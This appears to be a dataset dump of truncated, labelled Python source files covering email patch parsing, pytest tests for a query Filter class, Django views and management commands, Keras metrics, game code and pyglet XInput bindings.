pseudoArgs.remove(argument) utils.verboseOutput(verbose, ""Checking POP3 for gmail"") try: emailConfig = xmlConfigs.initializePopConfig(""./email-configuration.xml"") myPop = emailConfig.get_pop3_connection() numMessages = len(myPop.list()[1]) patchMessages = dict() for i in range(numMessages): utils.verboseOutput(verbose, ""Index: "", i) totalContent = """" for content in myPop.retr(i+1)[1]: totalContent += content + '\n' msg = email.message_from_string(totalContent) if 'subject' in msg : subject = msg['subject'] subjectPattern = ""^\[.*PATCH.*\].+"" subjectMatch = re.match(subjectPattern, subject) utils.verboseOutput(verbose, ""Checking subject: "", subject) if subjectMatch == None : continue else : continue messageId = """" if 'message-id' in msg: messageId = re.search(""<(.*)>"", msg['message-id']).group(1) utils.verboseOutput(verbose, 'Message-ID:', messageId) referenceIds = [] if 'references' in msg: references = msg['references'] referenceIds = re.findall(""<(.*)>"", references) utils.verboseOutput(verbose, ""References: "", referenceIds) currentNode = ReferenceNode(messageId, msg, referenceIds) patchMessages[messageId] = currentNode currentNode.set_slotted(bool(""false"")) utils.verboseOutput(verbose, ""**************Make Children**************"") makeChildren(patchMessages) utils.verboseOutput(verbose, ""--------------RESULT--------------"") utils.verboseOutput(verbose, patchMessages) except: utils.verboseOutput(verbose, ""Error: "", sys.exc_info()) ",1 "import odict, py3 @pytest.fixture def empty_ops(request): return Filter() @pytest.fixture def single_ops(request): return Filter({'roll': 27}) def test_ops_iteration(single_ops): assert list(iter(single_ops)) == ['roll'] class TestOpsMapping(object): def test_getitem(self, empty_ops, single_ops): with pytest.raises(KeyError): empty_ops['roll'] assert single_ops['roll'] == 27 def test_setitem(self, empty_ops): assert repr(empty_ops) == ""Filter([])"" empty_ops['meaning'] = 42 if py3: assert repr(empty_ops) == ""Filter([('meaning', 42)])"" else: assert repr(empty_ops) == ""Filter([(u'meaning', 42)])"" def test_delitem(self, empty_ops, single_ops): with pytest.raises(KeyError): del empty_ops['roll'] if py3: assert repr(single_ops) == ""Filter([('roll', 27)])"" else: assert repr(single_ops) == ""Filter([(u'roll', 27)])"" del single_ops['roll'] assert repr(single_ops) == ""Filter([])"" def test_length(self, empty_ops, single_ops): assert len(empty_ops) == 0 assert len(single_ops) == 1 def test_keys(self, empty_ops, single_ops): assert list(empty_ops.keys()) == [] assert list(single_ops.keys()) == ['roll'] def test_items(self, empty_ops, single_ops): assert list(empty_ops.items()) == [] assert list(single_ops.items()) == [('roll', 27)] def test_values(self, empty_ops, single_ops): assert list(empty_ops.values()) == [] assert list(single_ops.values()) == [27] def test_contains(self, single_ops): assert 'foo' not in single_ops assert 'roll' in single_ops def test_equality_inequality(self, empty_ops, single_ops): assert empty_ops == {} assert empty_ops != {'roll': 27} assert single_ops != {} assert single_ops == {'roll': 27} def test_get(self, single_ops): assert single_ops.get('foo') is None assert single_ops.get('foo', 42) == 42 assert single_ops.get('roll') == 27 def test_clear(self, single_ops): assert len(single_ops.operations) == 1 single_ops.clear() assert len(single_ops.operations) == 0 def test_pop(self, single_ops): assert len(single_ops.operations) == 1 with pytest.raises(KeyError): single_ops.pop('foo') assert single_ops.pop('foo', 42) == 42 assert len(single_ops.operations) == 1 assert single_ops.pop('roll') == 27 assert len(single_ops.operations) == 0 def test_popitem(self, single_ops): assert len(single_ops.operations) == 1 assert single_ops.popitem() == ('roll', 27) assert len(single_ops.operations) == 0 with pytest.raises(KeyError): single_ops.popitem() def test_update(self, empty_ops, single_ops): assert len(empty_ops.operations) == 0 empty_ops.update(name=""Bob Dole"") assert len(empty_ops.operations) == 1 if py3: assert repr(empty_ops) == ""Filter([('name', 'Bob Dole')])"" else: assert repr(empty_ops) == ""Filter([('name', u'Bob Dole')])"" assert len(single_ops.operations) == 1 if py3: assert repr(single_ops) == ""Filter([('roll', 27)])"" else: assert repr(single_ops) == ""Filter([(u'roll', 27)])"" single_ops.update([('name', ""Bob Dole"")]) assert len(single_ops.operations) == 2 if py3: assert repr(single_ops) in (""Filter([('roll', 27), ('name', 'Bob Dole')])"", ""Filter([('name', 'Bob Dole'), ('roll', 27)])"") else: assert repr(single_ops) in (""Filter([(u'roll', 27), (u'name', u'Bob Dole')])"", ""Filter([(u'name', u'Bob Dole'), (u'roll', 27)])"") def test_setdefault(self, empty_ops): assert len(empty_ops.operations) == 0 empty_ops.setdefault('fnord', 42) assert len(empty_ops.operations) == 1 assert empty_ops.operations['fnord'] == 42 empty_ops.setdefault('fnord', 27) assert len(empty_ops.operations) == 1 assert empty_ops.operations['fnord'] == 42 def test_ops_shallow_copy(self, single_ops): assert single_ops.operations == single_ops.copy().operations class TestOperationsCombination(object): def test_operations_and_clean_merge(self): comb = Filter({'roll': 27}) & Filter({'foo': 42}) assert comb.as_query == {'roll': 27, 'foo': 42} def test_operations_and_operator_overlap(self): comb = Filter({'roll': {'$gte': 27}}) & Filter({'roll': {'$lte': 42}}) assert comb.as_query == {'roll': {'$gte': 27, '$lte': 42}} def test_paradoxical_condition(self): comb = Filter({'roll': 27}) & Filter({'roll': {'$lte': 42}}) assert comb.as_query == {'roll': {'$eq': 27, '$lte': 42}} comb = Filter({'roll': {'$gte': 27}}) & Filter({'roll': 42}) assert list(comb.as_query['roll'].items()) in ([('$gte', 27), ('$eq', 42)], [('$eq', 42), ('$gte', 27)]) def test_operations_or_clean_merge(self): comb = Filter({'roll': 27}) | Filter({'foo': 42}) assert comb.as_query == {'$or': [{'roll': 27}, {'foo': 42}]} comb = comb | Filter({'bar': 'baz'}) assert comb.as_query == {'$or': [{'roll': 27}, {'foo': 42}, {'bar': 'baz'}]} def test_operations_hard_and(self): comb = Filter({'$and': [{'a': 1}, {'b': 2}]}) & Filter({'$and': [{'c': 3}]}) assert comb.as_query == {'$and': [{'a': 1}, {'b': 2}, {'c': 3}]} def test_operations_soft_and(self): comb = Filter({'$and': [{'a': 1}, {'b': 2}]}) & Filter({'c': 3}) assert comb.as_query == {'$and': [{'a': 1}, {'b': 2}], 'c': 3} ",1 "rf_exempt import django.shortcuts from wlokalu.api import presence #----------------------------------------------------------------------------- from wlokalu.logging import getLogger, message as log logger = getLogger(__name__) #----------------------------------------------------------------------------- @csrf_exempt def list(request, nick = None): template = loader.get_template(""list.html"") from django.core.urlresolvers import reverse from forms import PresenceForm form = PresenceForm() if nick is not None: form.initial['nick'] = nick form_target = reverse(list, kwargs = {'nick': nick}) else: form_target = reverse(list) if request.POST.get('nick', '') != '': context = { 'address': request.META['REMOTE_ADDR'], 'uri': request.META['REQUEST_URI'], } if 'enter' in request.POST: presence.person_entered(request.POST['nick'], context) else: # 'leave' in request.POST presence.person_left(request.POST['nick'], context) # tell the browser to reload the page, but with GET request return django.shortcuts.redirect(request.path) context = RequestContext(request, { 'form_target': form_target, 'form': form, 'present': presence.list_people(), 'sensors': presence.list_simple_sensors(), 'complex_sensors': presence.list_complex_sensors(), }) return HttpResponse(template.render(context)) #----------------------------------------------------------------------------- # vim:ft=python:foldmethod=marker ",1 "ining a copy # of this software and associated documentation files (the ""Software""), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. """""" TODO... """""" __all__ = ['GreedyPlayer'] import random from jdhp.tictactoe.player.abstract import Player class GreedyPlayer(Player): """""" TODO... """""" def play(self, game, state): """""" TODO... """""" action_list = game.getSetOfValidActions(state) choosen_action = None # Choose actions that lead to immediate victory... for action in action_list: next_state = game.nextState(state, action, self) if game.hasWon(self, next_state): choosen_action = action break # ... otherwise choose randomly if choosen_action is None: #print(""randomly choose action"") # debug choosen_action = random.choice(action_list) return choosen_action ",1 " def __init__(self): Base.__init__(self) def fondo(self): pilas.fondos.Fondo(""data/img/fondos/aplicacion.jpg"") def general(self): self.sonido_boton.reproducir() pilas.almacenar_escena(General()) def individual(self): self.sonido_boton.reproducir() pilas.almacenar_escena(Individual()) def volver(self): self.sonido_boton.reproducir() pilas.recuperar_escena() def iniciar(self): self.fondo() self.sonido_boton = pilas.sonidos.cargar(""data/audio/boton.ogg"") self.interfaz() self.mostrar() def interfaz(self): opcion= [(""General"",self.general),(""Individual"",self.individual),(""Volver"",self.volver)] menu = pilas.actores.Menu(opcion, y=50, fuente=""data/fonts/American Captain.ttf"") menu.escala = 1.3 enunciado = pilas.actores.Actor(""data/img/enunciados/estadisticas.png"",y=250) enunciado.escala = 0.3",1 "h the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""Libraries of Keras metrics."""""" import tensorflow as tf def _apply_mask(y_true, sample_weight, masked_tokens, dtype): if sample_weight is None: sample_weight = tf.ones_like(y_true, dtype) else: sample_weight = tf.cast(sample_weight, dtype) for token in masked_tokens: mask = tf.cast(tf.not_equal(y_true, token), dtype) sample_weight = sample_weight * mask return sample_weight class NumTokensCounter(tf.keras.metrics.Sum): """"""A `tf.keras.metrics.Metric` that counts tokens seen after masking."""""" def __init__(self, masked_tokens=None, name='num_tokens', dtype=tf.int64): self._masked_tokens = masked_tokens or [] super().__init__(name, dtype) def update_state(self, y_true, y_pred, sample_weight=None): sample_weight = _apply_mask(y_true, sample_weight, self._masked_tokens, self._dtype) sample_weight = tf.reshape(sample_weight, [-1]) super().update_state(sample_weight) def get_config(self): config = super().get_config() config['masked_tokens'] = tuple(self._masked_tokens) return config class MaskedCategoricalAccuracy(tf.keras.metrics.SparseCategoricalAccuracy): """"""An accuracy metric that masks some tokens."""""" def __init__(self, masked_tokens=None, name='accuracy', dtype=None): self._masked_tokens = masked_tokens or [] super().__init__(name, dtype=dtype) def update_state(self, y_true, y_pred, sample_weight=None): sample_weight = _apply_mask(y_true, sample_weight, self._masked_tokens, self._dtype) num_classes = tf.shape(y_pred)[-1] y_true = tf.reshape(y_true, [-1]) y_pred = tf.reshape(y_pred, [-1, num_classes]) sample_weight = tf.reshape(sample_weight, [-1]) super().update_state(y_true, y_pred, sample_weight) def get_config(self): config = super().get_config() config['masked_tokens'] = tuple(self._masked_tokens) return config ",1 ": Import / Create / Update / Delete preference # from django.conf import settings from django.contrib.auth import get_user_model from django.core.management.base import BaseCommand, CommandError from django.db import transaction from django.db.models import Q from pathlib import Path from webframe.functions import TRUE_VALUES, LogMessage as lm, getTime from webframe.models import Preference, AbstractPreference from uuid import UUID import logging, os, glob, sys, re logger=logging.getLogger('webframe.commands.prefs') class Command(BaseCommand): help = '''Mainpulate the preference in database. Including insert/update/delete/view/import/gensecret/gendoc; Importing support csv|xlsx file.''' def __getIndent__(self, indent=0, ch=' '): return ch*indent def create_parser(self, cmdName, subcommand, **kwargs): parser=super().create_parser(cmdName, subcommand, **kwargs) parser.epilog='''Example:\r\n \tpref import path_to_prefs #Import a folder or a csv/xlsx file\r\n \tpref set ABC --value=""def"" #Set the preference ""ABC"" to value ""def""\r\n \tpref gensecret #Generate the encryption secret; PLEASE backup in secure way.\r\n \tpref gendoc prefsDoc.html #Generate the documentation and save as as output.html ''' return parser def add_arguments(self, parser): #Default Value pattern='Pref({pref.id}:{pref.name}): {pref.value}' action='show' max=256 wildcard='*' tmpl='webframe/prefsDoc.html' #Adding arguments parser.add_argument('action', type=str, help='The action to be taken. One of import/export/show/set/delete/gensecret/gendoc; Default is {0}'.format(action), default=action) parser.add_argument('name', type=str, nargs='?', help='[import/export/show/set/delete/gendoc]; The name of the preference or path of importing/exporting file (csv|xlsx);') parser.add_argument('--file', dest='file', type=str, help='[import/export/gendoc]; The file path for import/export/output.') parser.add_argument('--value', dest='value', type=str, help='[set/delete]; The value of the preference;', default=None) parser.add_argument('--owner', dest='owner', type=str, help='[set/delete]; The owner of the preference; Optional;', default=None) parser.add_argument('--noowner', dest='noowner', action='store_true', help='[show/set/delete]; The target preference has no owner; Optional; Default False') parser.add_argument('--parent', dest='parent', type=str, help='[show/set/delete]; The parent\'s name of the preference. Optional;', default=None) parser.add_argument('--noparent', dest='noparent', action='store_true', help='[show/set/delete]; The target preference has no parent; Optional; Default False') parser.add_argument('--pattern', dest='pattern', type=str, help='[show]; The output pattern. {0}'.format(pattern), default=pattern) parser.add_argument('--max', dest='max', type=int, help='[show]; The maximum number of preference to show. Default is {0}'.format(max), default=max) parser.add_argument('--wildcard', dest='wildcard', type=str, help='[show]; Specify the wildcard; Default is {0}'.format(wildcard), default=wildcard) #Importing parser.add_argument('--sep', dest='separator', type=str, default=',', help='[import]; The separator when CSV importing; Default \"",\""') parser.add_argument('--encoding', dest='encoding', type=str, default='utf-8', help='[import]; The encoding when CSV importing; Default \""utf-8\""') parser.add_argument('--quotechar', dest='quotechar', type=str, default='\""', help='[import]; The quote-char when CSV importing; Default double quote: \""') parser.add_argument('--filepath', dest='filepath', action='store_true', help='[import]; Import the file-path in preferences; Default False') parser.add_argument('--force', '-f ', dest='force', action='store_true', help='[import]; Force the import', default=False) #Generate Doc parser.add_argument('--tmpl', dest='tmpl', type=str, help=""[gendoc]; The template name when generating document; Default: {0}"".format(tmpl), default=tmpl) def __get_owner__(self, owner=None): if not owner: return None logger.debug('Getting owner by: ""%s""', owner) owner=owner if owner else self.kwargs['owner'] return get_user_model().objects.get(username=owner) if owner else None def __get_parent__(self, parent=None): parent=parent if parent else self.kwargs['parent'] if parent: try: #Get parent by uuid return Preference.objects.get(id=parent) except: try: #Get parent by name return Preference.objects.get(name=parent) except: pass return None def __get_pref__(self, **kwargs): owner=kwargs['owner'] if 'owner' in kwargs else self.__get_owner__() parent=kwargs['parent'] if 'parent' in kwargs else self.__get_parent__() name=kwargs['name'] if 'name' in kwargs else self.kwargs['name'] lang=kwargs['lang'] if 'lang' in kwargs else None if self.kwargs['filepath']: name=os.path.basename(name) if self.kwargs['parent'] and parent==None: raise Preference.DoesNotExist('Parent Preference not found: {0}'.format(self.kwargs['parent'])) rst=Preference.objects.all() if name and name!='*': rst=rst.filter(name=name) if owner: rst=rst.filter(owner=owner) elif self.kwargs['noowner']: rst=rst.filter(owner__isnull=True) if parent: rst=rst.filter(parent=parent) elif self.kwargs['noparent']: rst=rst.filter(parent__isnull=True) if self.kwargs['filepath']: rst=rst.filter(tipe=AbstractPreference.TYPE_FILEPATH) rst=rst.order_by('owner', 'parent', 'sequence', 'name') return rst def __get_name__( self, name ): ''' Get the name and sequence according to the name. @param name The string including the sequence and name. For example, '01.Target' will return a tuple (1, 'Target') @return A tuple including the sequence and the name ''' p=re.search(r'^\d+\.', name) if p: s=p.group(0) return name[len(s):].strip(), int(name[0:len(s)-1]) return (name, sys.maxsize if hasattr(sys, 'maxsize') else sys.maxint) #Default append def output( self, pref, pattern=None ): pattern=pattern if pattern else self.kwargs['pattern'] print(pattern.format(pref=pref)) pattern=' {0}'.format(pattern) for ch in pref.childs: self.output(ch, pattern) def handle(self, *args, **kwargs): verbosity=int(kwargs['verbosity']) if verbosity==3: logger.setLevel(logging.DEBUG) elif verbosity==2: logger.setLevel(logging.INFO) elif verbosity==1: logger.setLevel(logging.WARNING) else: logger.setLevel(logging.ERROR) self.kwargs=kwargs action=kwargs['action'] if action=='import': self.imp() elif action=='create': #for backward compatibility self.set() elif action=='update': #for backward compatibility self.set() elif action=='set': self.set() elif action=='delete': self.delete() elif action=='show': self.show() elif action=='gensecret': self.gensecret() elif action=='gendoc': self.gendoc() elif action=='export': self.expCsv() else: logger.warning('Unknown action: {0}'.format(action)) logger.warn('DONE!') def show(self): logger.info('Showing the preference ...') q=Preference.objects.all() if self.kwargs['name']: logger.info(' with the name filter: {0}'.format(self.kwargs['name'])) if self.kwargs['wildcard'] in self.kwargs['name']: q=q.filter(name__icontains=self.kwargs['name'].replace(self.kwargs['wildcard'], '')) else: q=q.filter(name=self.kwargs['name']) if self.kwargs['value']: logger.info(' with the value filter: {0}'.format(self.kwargs['value'])) q=q.filter(value__icontains=self.kwargs['value']) if self.kwargs['owner']: logger.info(' which belongs to user: {0}'.format(self.kwargs['owner'])) q=q.filter(owner__username=self.kwargs['owner']) if self.kwargs['parent']: logger.info(' which belongs to preference: {0}'.format(self.kwargs['parent'])) q=q.filter(parent__name__iexact=self.kwargs['parent']) else: q=q.filter(parent__isnull=True) for p in q: self.output(p) logger.warning('There have {0} preference(s) has been shown'.format(len(q))) def set(self): with transaction.atomic(): try: pref=self.__get_pref__() if pref.count()<1: raise Preference.DoesNotExist cnt=pref.update(value=self.kwargs['value']) logger.info('{0} of Preference(s) has been updated'.format(cnt)) except Preference.DoesNotExist: p=Preference(name=self.kwargs['name'], value=self.kwargs['value'], owner=owner, parent=parent) p.save() logger.info('The preference<{0}> has been created with value: {1}'.format(p.name, p.value)) def delete(self): pref=self.__get_pref__() cnt=pref.count() pref.delete() logger.warning('{0} of Preference(s) has been deleted'.format(cnt)) def expRow( self, wr, pref, indent=0 ): ''' Import the specified preference to csv. ''' cnt=0 tab=self.__getIndent__(indent) logger.debug(lm('{0}Exporting preference: {1}::{2}...', tab, pref.id, pref.name)) wr.writerow([ pref.name # [0] , pref.realValue # [1] , pref.parent.id if pref.parent else '' # [2] , pref.owner.username if pref.owner else '' # [3] , pref.helptext # [4] , Preference.TYPES[pref.tipe][1] # [5] , pref.encrypted # [6] , pref.regex # [7] ]) cnt+=1 for p in pref.childs: cnt+=self.expRow(wr, p, indent+3) return cnt def expCsv( self ): ''' Import the specified list of preferences to csv. ''' import csv f=self.kwargs['file'] with open(f, 'w', encoding=self.kwargs['encoding']) as fp: wr=csv.writer(fp, delimiter=self.kwargs['separator'], quotechar=self.kwargs['quotechar'], quoting=csv.QUOTE_MINIMAL, skipinitialspace=True) cnt=0 for p in self.__get_pref__(): cnt+=self.expRow(wr, p, 0) logger.info(lm('Exported {0} records', cnt)) def improw( self, cols, idx=0 ): try: name=cols[0] val=cols[1] parent=self.__get_parent__(cols[2]) owner=self.__get_owner__(cols[3]) helptext=cols[4] tipe=cols[5] encrypted=cols[6] in TRUE_VALUES regex=cols[7] lang=cols[8] if len(cols)>8 else None logger.debug(' Importing row: {0}: {1} [{2}]'.format(idx, name, 'encrypted' if encrypted else 'clear-text')) self.kwargs['name']=name pref=self.__get_pref__(name=name, owner=owner, parent=parent, lang=lang) if pref.count()<1: raise Preference.DoesNotExist for p in pref: p.encrypted=encrypted p.helptext=helptext p.tipe=tipe p.regex=regex #The value must be the last steps to set due to validation. Otherwise, once importing/assign a new value into this field, the last validation rule may be applied incorrectly p.value=val p.save() except Preference.DoesNotExist: Preference(name=name, _value=val, owner=owner, parent=parent, encrypted=encrypted, helptext=helptext, regex=regex, lang=lang).save() except: logger.debug(cols) logger.exception('Error when handling the column') raise def impXlsx( self, f ): ''' Import xlsx file. ''' from openpyxl import load_workbook wb=load_workbook(filename=f) ws=wb.active logger.info(' Importing worksheet: {0}!{1}'.format(f, ws.title)) cnt=0 with transaction.atomic(): for r in range(1, ws.max_row+1): cols=list() name=ws.cell(row=r, column=1).value if isinstance(name, str): name=name.strip() if not name: continue #Skip the row when it has no pref.name if r==1 and (name.upper()=='ID' or name.upper()=='NAME' or name.upper()=='ID/Name'): continue #Skip the first row if header row cols.append(name) #Name/ID cols.append(ws.cell(row=r, column=2).value) #Value cols.append(ws.cell(row=r, column=3).value) #Parent cols.append(ws.cell(row=r, column=4).value) #Owner cols.append(ws.cell(row=r, column=5).value) #Reserved cols.append(ws.cell(row=r, column=6).value) #Tipe cols.append(ws.cell(row=r, column=7).value) #encrypted self.improw( cols, r ) cnt+=1 logger.info(' Imported {0} row(s)'.format(cnt)) def impCsv( self, f ): ''' Import the csv file. ''' import csv with transaction.atomic(): logger.info(' Importing csv: {0}'.format(f)) cnt=0 with open(f, 'r', encoding=self.kwargs['encoding']) as fp: if self.kwargs['quotechar']: rows=csv.reader(fp, delimiter=self.kwargs['separator'], quotechar=self.kwargs['quotechar'], quoting=csv.QUOTE_MINIMAL, skipinitialspace=True) else: rows=csv.reader(fp, delimiter=self.kwargs['separator'], quoting=csv.QUOTE_NONE, skipinitialspace=True) for row in rows: if len(row)<1: continue #Skip the empty row name=row[0].strip() if not name: continue #Skip the row when it has no name if cnt==0 and (name.upper()=='ID' or name.upper()=='NAME' or name.upper()=='ID/NAME'): continue #Skip the first row if header row self.improw( row, cnt ) cnt+=1 logger.info(' Imported {0} row(s)'.format(cnt)) def impdir( self, d ): if os.path.isdir(d): logger.info('Importing directory: {0}'.format(d)) else: logger.warning('This is not the directory: {0}'.format(d)) return cnt=0 with transaction.atomic(): p=Preference.objects.pref('IMPORTED_PREFERENCES', returnValue=False) p.helptext='

Sysetm use only! DO NOT MODIFY youself unless you understand the risk.

' p.save() for f in os.listdir(d): if not (f.upper().endswith('.XLSX') or f.upper().endswith('.CSV')): continue #only support *.xlsx and *.csv f=os.path.join(d, f) try: Preference.objects.get(name=f, parent=p) if self.kwargs['force']: raise Preference.DoesNotExist except Preference.DoesNotExist: self.impfile( f ) cnt+=1 Preference(name=f, parent=p).save() logger.debug('Imported {0} file(s)'.format(cnt)) def impfile( self, f ): if not (os.path.isfile(f) and os.access(f, os.R_OK)): logger.warning('The file is not readable: {0}'.format(f)) return fn=f.lower() if fn.endswith('.xlsx'): self.impXlsx(f) elif fn.endswith('.csv'): self.impCsv(f) else: logger.info('Unsupported file: {0}'.format(f)) def imppath( self, p, parent=None): name, seq=self.__get_name__(os.path.basename(p)) if os.path.isdir(p): try: pref=self.__get_pref__(name=name) if pref.count()<1: raise Preference.DoesNotExist pref=pref[0] except Preference.DoesNotExist: pref=Preference(name=name, parent=parent) pref.tipe=AbstractPreference.TYPE_FILEPATH pref.sequence=seq pref.save() for f in os.listdir(p): path=os.path.join(p, f) self.imppath(path, pref) #Handling the ordering after import all the childs ord=1 for c in pref.childs: c.sequence=ord c.save() ord+=1 else: try: pref=self.__get_pref__(name=name) if pref.count()<1: raise Preference.DoesNotExist pref=pref[0] except Preference.DoesNotExist: pref=Preference(name=name, parent=parent) pref.pathValue=p if os.path.isabs(p) else os.path.abspath(p) pref.tipe=AbstractPreference.TYPE_FILEPATH pref.sequence=seq pref.save() def imp(self): disableOrder=getattr(settings, 'DISABLE_REORDER', False) setattr(settings, 'DISABLE_REORDER', True) #Disable the re-ordering features during importing try: f=self.kwargs['file'] if self.kwargs['filepath']: self.imppath(f) elif os.path.isdir(f): self.impdir(f) elif os.path.isfile(f): self.impfile(f) finally: setattr(settings, 'DISABLE_REORDER', disableOrder) #Resume the re-ordering features after importing def gensecret(self): from webframe.models import AbstractPreference key=AbstractPreference.__getSecret__() logger.warning(lm('Your secret is: {0}', key)) def gendoc(self): from django.shortcuts import render from django.template import loader, Template, Context from webframe.providers import template_injection, fmt_injection tmpl=getattr(self.kwargs, 'tmpl', 'webframe/prefDoc.html') logger.warning(lm('Generating the documents according template: {0}', tmpl)) tmpl=loader.get_template(tmpl) params=dict() params.update(template_injection(None)) params.update(fmt_injection(None)) #params['target']=Preference.objects.filter(parent__isnull=True) params['target']=self.__get_pref__() params['TYPES']=Preference.TYPES params['now']=getTime('now') txt=tmpl.render(params) output=self.kwargs.get('file') if not output: output='prefsDoc.html' logger.warning(lm('Generated! Outputing into: {0}', output)) with open(output, 'w') as f: f.write(txt) ",1 "file__) lFile, eError =vhdlFile.utils.read_vhdlfile(os.path.join(sTestDir,'rule_300_test_input.vhd')) dIndentMap = utils.read_indent_file() lExpected = [] lExpected.append('') utils.read_file(os.path.join(sTestDir, 'rule_300_test_input.fixed.vhd'), lExpected) class test_iteration_scheme_rule(unittest.TestCase): def setUp(self): self.oFile = vhdlFile.vhdlFile(lFile) self.assertIsNone(eError) self.oFile.set_indent_map(dIndentMap) def test_rule_300(self): oRule = iteration_scheme.rule_300() self.assertTrue(oRule) self.assertEqual(oRule.name, 'iteration_scheme') self.assertEqual(oRule.identifier, '300') lExpected = [13, 17] oRule.analyze(self.oFile) self.assertEqual(lExpected, utils.extract_violation_lines_from_violation_object(oRule.violations)) def test_fix_rule_300(self): oRule = iteration_scheme.rule_300() oRule.fix(self.oFile) lActual = self.oFile.get_lines() self.assertEqual(lExpected, lActual) oRule.analyze(self.oFile) self.assertEqual(oRule.violations, []) ",1 "lified BSD"" import sys from recursely._compat import IS_PY3 from recursely.importer import RecursiveImporter from recursely.utils import SentinelList __all__ = ['install'] def install(retroactive=True): """"""Install the recursive import hook in ``sys.meta_path``, enabling the use of ``__recursive__`` directive. :param retroactive: Whether the hook should be retroactively applied to module's that have been imported before it was installed. """""" if RecursiveImporter.is_installed(): return importer = RecursiveImporter() # because the hook is a catch-all one, we ensure that it's always # at the very end of ``sys.meta_path``, so that it's tried only if # no other (more specific) hook has been chosen by Python if IS_PY3: for i in reversed(range(len(sys.meta_path))): ih_module = getattr(sys.meta_path[i], '__module__', '') is_builtin = ih_module == '_frozen_importlib' if not is_builtin: break sys.meta_path = SentinelList( sys.meta_path[:i], sentinels=[importer] + sys.meta_path[i:]) else: sys.meta_path = SentinelList(sys.meta_path, sentinel=importer) # look through already imported packages and recursively import # their submodules, if they contain the ``__recursive__`` directive if retroactive: for module in list(sys.modules.values()): importer.recurse(module) ",1 """"""" Filter query list from treatment database table """""" class Meta: model = Treatment fields = {'id': ['exact', 'in'], 'no_replicate': ['exact', 'in', 'gte', 'lte'], 'nitrogen_treatment': ['iexact', 'in', 'icontains'], 'phosphate_treatment': ['iexact', 'in', 'icontains'], 'tillage_practice': ['iexact', 'in', 'icontains'], 'cropping_system': ['iexact', 'in', 'icontains'], 'crops_grown': ['iexact', 'in', 'icontains'], 'farm_yard_manure': ['iexact', 'in', 'icontains'], 'farm_residue': ['iexact', 'in', 'icontains'], } order_by = ['tillage_practice', 'cropping_system', 'crops_grown'] ",1 "rved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the # distribution. # * Neither the name of pyglet nor the names of its # contributors may be used to endorse or promote products # derived from this software without specific prior written # permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN # ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # ---------------------------------------------------------------------------- # Based on pygxinput originally by Andrew D. Straw # http://code.astraw.com/projects/motmot/wiki/pygxinput import ctypes import pyglet from pyglet.window.xlib import xlib import lib_xinput as xi class XInputDevice: def __init__(self, display, device_info): self._x_display = display._display self._device_id = device_info.id self.name = device_info.name self._open_device = None # TODO: retrieve inputclassinfo from device_info and expose / save # for valuator axes etc. def open(self): if self._open_device: return self._open_device = xi.XOpenDevice(self._x_display, self._device_id) if not self._open_device: raise Exception('Cannot open device') def close(self): if not self._open_device: return xi.XCloseDevice(self._x_display, self._open_device) def attach(self, window): assert window._x_display == self._x_display return XInputDeviceInstance(self, window) class XInputDeviceInstance(pyglet.event.EventDispatcher): def __init__(self, device, window): """"""Create an opened instance of a device on the given window. :Parameters: `device` : XInputDevice Device to open `window` : Window Window to open device on """""" assert device._x_display == window._x_display assert device._open_device self.device = device self.window = window self._events = list() try: dispatcher = window.__xinput_window_event_dispatcher except AttributeError: dispatcher = window.__xinput_window_event_dispatcher = \ XInputWindowEventDispatcher() dispatcher.add_instance(self) device = device._open_device.contents if not device.num_classes: return # Bind matching extended window events to bound instance methods # on this object. # # This is inspired by test.c of xinput package by Frederic # Lepied available at x.org. # # In C, this stuff is normally handled by the macro DeviceKeyPress and # friends. Since we don't have access to those macros here, we do it # this way. for i in range(device.num_classes): class_info = device.classes[i] if class_info.input_class == xi.KeyClass: self._add(class_info, xi._deviceKeyPress, dispatcher._event_xinput_key_press) self._add(class_info, xi._deviceKeyRelease, dispatcher._event_xinput_key_release) elif class_info.input_class == xi.ButtonClass: self._add(class_info, xi._deviceButtonPress, dispatcher._event_xinput_button_press) self._add(class_info, xi._deviceButtonRelease, dispatcher._event_xinput_button_release) elif class_info.input_class == xi.ValuatorClass: self._add(class_info, xi._deviceMotionNotify, dispatcher._event_xinput_motion) elif class_info.input_class == 